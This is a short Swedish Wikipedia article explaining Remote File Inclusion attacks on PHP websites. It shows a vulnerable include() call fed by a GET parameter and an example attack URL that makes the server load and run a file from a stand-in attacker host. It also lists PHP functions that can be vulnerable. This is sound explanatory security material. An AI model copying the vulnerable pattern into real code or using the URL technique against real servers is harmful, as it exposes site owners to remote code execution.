Remote File Inclusion

Från Wikipedia
Hoppa till: navigering, sök

Remote File Inclusion är en typ av attack i webbaserade skriptspråk. Attacken innebär att en person kan exekvera sin egna skriptkod på någon annans server. Om personen skulle lyckas med att exekvera sin kod i hemsidan via rfi, så kommer han få åtkomst till alla filer på webbplatsen och kunna ändra dem om inte rättigheterna är inställda rätt på webbservern.

Exempel, attack i PHP[redigera | redigera wikitext]

PHP-kod:

include($_GET["sida"] . '.html');

Exempel på vanlig användning

http://server.se/vulnerablepage.php?sida=nyheter

Användaren går in på sidan och nyheter.html öppnas och körs på server.se

Exempel på hur en attack skulle kunna gå till

http://server.se/vulnerablepage.php?sida=http://attackerarens-server.se/virus.txt?

Istället för att öppna en lokal fil, öppnas filen virus.txt på attackerarens-server.se, och körs på server.se lokala servern.

Krav och funktioner[redigera | redigera wikitext]

För att den här typen av attacker skall fungera måste antingen allow_url_fopen eller allow_url_include vara påslaget i php-konfigurationen, beroende på version av PHP.

PHP funktioner som kan vara sårbara för remote-file inclusions:

include_once
include
fopen
require()
require_once()
file_get_contents()

Källor[redigera | redigera wikitext]